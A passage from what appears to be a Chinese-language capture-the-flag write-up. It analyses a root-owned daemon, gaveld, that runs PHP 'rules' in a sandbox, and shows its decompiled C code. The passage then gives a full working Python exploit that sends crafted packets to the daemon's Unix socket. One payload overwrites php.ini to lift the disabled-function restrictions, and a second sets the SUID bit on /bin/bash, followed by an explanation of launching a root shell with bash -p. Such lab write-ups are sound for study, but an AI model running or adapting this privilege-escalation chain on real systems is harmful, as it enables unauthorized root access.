strcpy(v85[0].m128i_i8, "\x1B[31mFailed to read submitted content\x1B[0m");
v33 = (char *)v85;
}
}
else
{
strcpy(v85[0].m128i_i8, "\x1B[31mMemory allocation failed\x1B[0m");
v33 = (char *)v85;
}
}
LABEL_51:
send_response_isra_0(v1, v33);
free(v32);
((void (__fastcall *)(__int64))json_object_put)(v64);
close(v1);
return v87 - __readfsqword(0x28u);
}
LABEL_46:
v23 = "\x1B[31mOperation not specified\x1B[0m";
goto LABEL_43;
}
}
}
LABEL_11:
send_response_isra_0(
a1,
"\x1B[31mYou are not authorized. Make sure your user belongs to the gavel-seller group.\x1B[0m");
close(a1);
return v87 - __readfsqword(0x28u);
}
这里也就是handle_conn 反编译,这里就可以看到是通过 getsockopt 获取的客户端 uid和gid,如果用户不是gavel-seller组,就会断开链接
auctioneer@gavel:/opt/gavel$ groups
groups
auctioneer gavel-seller这里检查了一下,发现确实是属于这个组,那么就可以尝试写脚本和 gaveld.sock 进行通信,这里识别的是json,所以要写json包,同时这里是有一个php rce的同样是前面的那个漏洞,通过rule字段
并且有一个file_put_contents 函数,可以尝试写恶意的yaml内容,在php_safe_run 可以执行代码,所以再去看这个函数
_BOOL8 __fastcall php_safe_run(__int64 a1, const char *a2, const char *a3, __int64 a4)
{
__pid_t v6; // eax
__pid_t v7; // ebp
unsigned __int64 v9; // rbx
unsigned __int64 v10; // r14
char *v11; // r15
const char *v12; // r13
ssize_t v13; // rax
const char *string; // r14
__int64 v15; // [rsp+8h] [rbp-3100h] BYREF
struct rlimit rlimits; // [rsp+10h] [rbp-30F8h] BYREF
int pipedes[2]; // [rsp+28h] [rbp-30E0h] BYREF
struct stat argv; // [rsp+30h] [rbp-30D8h] BYREF
char dest[24]; // [rsp+C0h] [rbp-3048h] BYREF
char v20; // [rsp+10BFh] [rbp-2049h]
char v21[24]; // [rsp+10C0h] [rbp-2048h] BYREF
unsigned __int64 v22; // [rsp+30C8h] [rbp-40h]
v22 = __readfsqword(0x28u);
v15 = 0LL;
json_object_object_get_ex(a1, &unk_5004, &v15);
if ( v15
&& (unsigned int)json_object_is_type(v15, 4LL)
&& (unsigned int)json_object_object_get_ex(v15, "RULE_PATH", &rlimits) )
{
string = (const char *)json_object_get_string(rlimits.rlim_cur);
strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000uLL);
v20 = 0;
if ( string && *string && !stat(string, &argv) && (argv.st_mode & 0xF000) == 0x8000 && !access(string, 4) )
{
strncpy(dest, string, 0x1000uLL);
v20 = 0;
}
}
else
{
strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000uLL);
v20 = 0;
}
__snprintf_chk(
v21,
0x2000LL,
1LL,
0x2000LL,
"function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};$res = __sandbox_eval();if(!is_bool($"
"res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }",
150LL,
200LL,
"Shadow21A",
a2);
*(_QWORD *)&argv.st_mode = dest;
argv.st_dev = (__dev_t)"/usr/bin/php";
argv.st_ino = (__ino_t)"-n";
argv.st_nlink = (__nlink_t)"-c";
*(_QWORD *)&argv.st_gid = "-d";
argv.st_rdev = (__dev_t)"display_errors=1";
argv.st_size = (__off_t)"-r";
argv.st_blksize = (__blksize_t)v21;
argv.st_blocks = 0LL;
if ( pipe(pipedes) < 0 )
return 0LL;
v6 = fork();
v7 = v6;
if ( v6 < 0 )
{
close(pipedes[0]);
close(pipedes[1]);
return 0LL;
}
if ( !v6 )
{
close(pipedes[0]);
if ( dup2(pipedes[1], 1) >= 0 && dup2(pipedes[1], 2) >= 0 )
{
close(pipedes[1]);
rlimits.rlim_max = 0x4000000LL;
rlimits.rlim_cur = 0x4000000LL;
if ( !setrlimit(RLIMIT_AS, &rlimits) )
{
rlimits.rlim_max = 2LL;
rlimits.rlim_cur = 2LL;
if ( !setrlimit(RLIMIT_CPU, &rlimits) )
{
rlimits.rlim_max = 10485760LL;
rlimits.rlim_cur = 10485760LL;
setrlimit(RLIMIT_FSIZE, &rlimits);
rlimits.rlim_max = 32LL;
rlimits.rlim_cur = 32LL;
setrlimit(RLIMIT_NOFILE, &rlimits);
rlimits.rlim_max = 4LL;
rlimits.rlim_cur = 4LL;
setrlimit(__RLIMIT_NPROC, &rlimits);
execv((const char *)argv.st_dev, (char *const *)&argv);
_exit(127);
}
}
}
_exit(127);
}
close(pipedes[1]);
v9 = a4 - 1;
if ( v9 )
{
v10 = 0LL;
v11 = (char *)a3;
while ( 1 )
{
v12 = v11;
v13 = read(pipedes[0], v11, v9 - v10);
if ( v13 < 0 )
{
if ( *__errno_location() != 4 )
goto LABEL_20;
}
else
{
if ( !v13 )
goto LABEL_20;
v10 += v13;
v11 = (char *)&a3[v10];
v12 = &a3[v10];
}
if ( v10 >= v9 )
goto LABEL_20;
}
}
v12 = a3;
LABEL_20:
*v12 = 0;
close(pipedes[0]);
LODWORD(rlimits.rlim_cur) = 0;
waitpid(v7, (int *)&rlimits, 0);
return !(rlimits.rlim_cur & 0x7F | BYTE1(rlimits.rlim_cur))
&& !strstr(a3, "Warning:")
&& !strstr(a3, "Fatal error:")
&& !strstr(a3, "Parse error:")
&& !strstr(a3, "SANDBOX_RETURN_ERROR");
}
这里就是可以接收参数 rule ,进行执行,但是这里是有个沙箱,不能执行命令,所以需要进行绕过
json_object_object_get_ex(a1, &unk_5004, &v15);
if ( v15 && ... && json_object_object_get_ex(v15, "RULE_PATH", &rlimits) )
{
string = json_object_get_string(rlimits.rlim_cur);
if ( ... )
{
strncpy(dest, string, 0x1000uLL);
}
}
else
{
strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000uLL);
}来看看这个配置文件写的是什么
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off这里全是禁用的函数,而这里可以自定义配置文件进行注入,所以就需要把这个文件进行更改
auctioneer@gavel:/opt/gavel$ ls -al /opt/gavel/.config/php/php.ini
ls -al /opt/gavel/.config/php/php.ini
-rw-r--r-- 1 root root 62 Dec 1 02:05 /opt/gavel/.config/php/php.ini但是发现这里是root权限没办法更改,这里发现php.ini文件中没有禁用file_put_contents函数,这时候就可以直接使用这个函数进行替换,替换完成之后就不会有禁用函数,这样就可以通过漏洞来进行命令执行了
import socket
import struct
import json
import time
# ================= 配置区域 =================
SOCKET_PATH = '/var/run/gaveld.sock'
# ================= Payload 定义 =================
# [Payload 1] 覆盖 php.ini
# 目的:清空 disable_functions,允许 system 函数
# 注意:Python 字符串中的 \\n 会被发送为 \n,PHP 解析双引号字符串时会将其识别为换行
yaml_overwrite = """name: phpty
description: Removing restrictions
image: ""
price: 1337
rule_msg: "Config Pwn"
rule: |
file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\\ndisplay_errors=On\\nopen_basedir=/\\ndisable_functions=\\n");
return false;
"""
# [Payload 2] 执行 Root 命令
# 目的:给 /bin/bash 赋予 SUID 权限
# 前提:Payload 1 执行成功,PHP 限制已解除
yaml_rce = """name: root
description: Getting Root
image: ""
price: 1337
rule_msg: "Shell Pwn"
rule: |
system("chmod u+s /bin/bash");
return false;
"""
# ================= 发送逻辑 =================
def send_payload(step_name, yaml_content):
print(f"\n[*] 正在执行: {step_name}")
# 1. 准备数据
yaml_bytes = yaml_content.encode('utf-8')
yaml_len = len(yaml_bytes)
# 2. 构造 JSON Header
json_header = {
"op": "submit",
"content_length": yaml_len
}
# 紧凑格式序列化
json_bytes = json.dumps(json_header, separators=(',', ':')).encode('utf-8')
json_len = len(json_bytes)
# 3. 构造协议头 (大端序 >I)
# 这是 gaveld 识别数据的关键
header_len_bytes = struct.pack('>I', json_len)
# 4. 拼接完整数据包
full_payload = header_len_bytes + json_bytes + yaml_bytes
print(f" -> Payload 大小: {len(full_payload)} 字节")
# 5. 发送
try:
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(SOCKET_PATH)
s.sendall(full_payload)
# 接收响应
s.settimeout(5)
response = s.recv(4096)
if response:
print(f" -> 服务器响应: {response.decode('utf-8', errors='ignore').strip()}")
else:
print(" -> 服务器无响应 (可能已执行)")
s.close()
except Exception as e:
print(f"[-] 发生错误: {e}")
def exploit():
print("=== 开始全自动提权 ===")
# 第一步:覆盖配置文件
# 这会把 disable_functions 变为空
send_payload("1. 覆盖默认 php.ini (解除限制)", yaml_overwrite)
print(" ... 等待 1 秒确保文件写入完成 ...")
time.sleep(1)
# 第二步:执行提权命令
# 此时 php.ini 已被修改,system 函数可用
send_payload("2. 触发 Root 命令 (赋予 Bash SUID)", yaml_rce)
print("\n[+] 攻击脚本执行结束。")
if __name__ == "__main__":
exploit()这里最后 /bin/bash -p 是因为现代的 Bash 有安全机制。如果它发现自己的真实用户 ID (UID) 和有效用户 ID (EUID) 不一致(比如你用普通用户运行 SUID 的 bash),它通常会为了安全自动降权,丢弃 Root 权限,`/bin/bash` 加上了 SUID,加上 `-p` 后,Bash 就以 Root 权限启动了
本文记录了一次完整的渗透测试过程,涵盖信息收集、Git泄露利用、SQL注入绕过PDO预编译、远程代码执行及通过二进制服务提权的全流程。
由 AI 根据全文自动生成,仅供参考,以原文为准